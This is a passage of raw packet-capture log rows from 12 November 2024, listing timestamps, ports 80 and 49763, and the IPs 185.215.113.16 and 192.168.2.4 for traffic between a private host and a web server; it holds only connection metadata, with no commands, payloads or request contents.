Nov 12, 2024 02:13:38.933696032 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.933707952 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.933731079 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.933746099 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.933756113 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.933758020 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.933784962 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.933808088 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.933984995 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.933999062 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934010983 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934024096 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934026003 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.934036016 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934053898 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934057951 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.934077024 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.934098005 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.934406042 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934417963 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934429884 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934441090 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934453011 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.934453964 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934480906 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.934497118 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.934587955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934633970 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:38.934647083 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934662104 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934668064 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:38.934705019 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002358913 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002516031 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002522945 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002536058 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002547026 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002558947 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002567053 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002571106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002582073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002585888 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002594948 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002607107 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002619028 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002619982 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002638102 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002667904 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002767086 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002814054 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002830029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002841949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002851963 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002873898 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002906084 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002927065 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002940893 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002953053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.002965927 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002985954 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.002991915 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.003001928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003014088 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003024101 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003040075 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.003062010 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.003309965 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003326893 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003353119 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003360987 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.003365040 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003376007 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003384113 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.003392935 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003407955 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.003423929 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.003714085 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003727913 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003740072 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003751040 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003760099 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.003762007 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003773928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003787041 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003787994 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.003798008 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.003801107 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.003828049 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.004120111 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.004132032 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.004144907 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.004158020 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.004162073 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.004182100 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.004203081 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.044373035 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.044385910 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.044395924 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.044425011 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.044439077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045088053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045099974 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045142889 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045166016 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045178890 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045192003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045202017 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045208931 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045219898 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045228004 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045248985 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045326948 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045367956 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045382977 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045393944 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045416117 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045418024 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045427084 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045438051 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045449018 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045465946 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045480013 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045628071 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045643091 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045653105 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.045675039 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.045690060 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.049860954 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.049891949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.049901009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.049904108 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.049916029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.049936056 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.049956083 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050194979 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050235987 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050241947 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050260067 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050271988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050276995 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050283909 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050296068 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050314903 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050381899 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050405979 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050419092 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050427914 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050431013 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050441027 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050443888 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050457001 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050467014 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050486088 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050791025 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050838947 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050867081 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050879955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050890923 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050904036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050914049 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050915003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050941944 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050946951 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.050956964 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.050971031 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051002026 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051012993 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051026106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051037073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051054001 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051079035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051278114 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051301003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051321030 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051332951 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051342010 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051356077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051456928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051496029 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051501989 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051508904 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051531076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051536083 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051556110 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051570892 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051619053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051630974 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051656961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051666021 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051668882 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051680088 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.051685095 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.051706076 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119472027 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119486094 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119529963 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119647026 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119659901 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119671106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119682074 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119693995 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119694948 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119707108 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119719028 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119724035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119731903 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119751930 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119772911 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119787931 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119827986 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119831085 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119843006 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119872093 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119894028 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119899035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119906902 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119918108 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119929075 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119940042 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.119941950 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119961023 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.119982958 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120101929 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120125055 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120136023 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120148897 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120179892 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120183945 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120214939 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120266914 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120309114 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120322943 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120333910 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120357037 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120366096 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120368004 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120378971 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120390892 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120419025 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120647907 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120661974 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120683908 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120695114 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120695114 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120707035 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120718956 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120721102 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120748997 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.120942116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120970964 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120985031 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.120986938 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.121011019 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.121027946 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.121045113 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.121057034 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.121088982 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.161256075 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.161267996 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.161278963 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.161289930 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.161312103 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.161339998 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162070036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162117958 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162132025 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162143946 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162173033 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162187099 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162199020 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162209988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162230015 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162250042 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162347078 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162362099 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162379026 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162386894 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162405014 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162410975 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162422895 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162425995 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162446976 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162453890 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162550926 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162564039 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162576914 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162589073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.162594080 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162615061 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.162625074 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.166892052 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.166902065 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.166943073 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.166950941 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.166963100 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.166985035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.166996956 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167193890 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167207003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167246103 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167260885 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167274952 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167285919 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167304039 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167321920 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167368889 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167380095 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167395115 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167407036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167416096 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167423964 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167449951 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167504072 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167515039 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167551994 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167576075 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167587042 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167617083 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167681932 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167701960 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167715073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167726994 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167727947 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167749882 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167749882 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167771101 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167820930 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167864084 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167915106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167926073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167937994 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167948961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167959929 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.167959929 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.167979956 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168001890 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168145895 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168186903 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.168220997 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.168265104 CET	49763	80	192.168.2.4	185.215.113.16
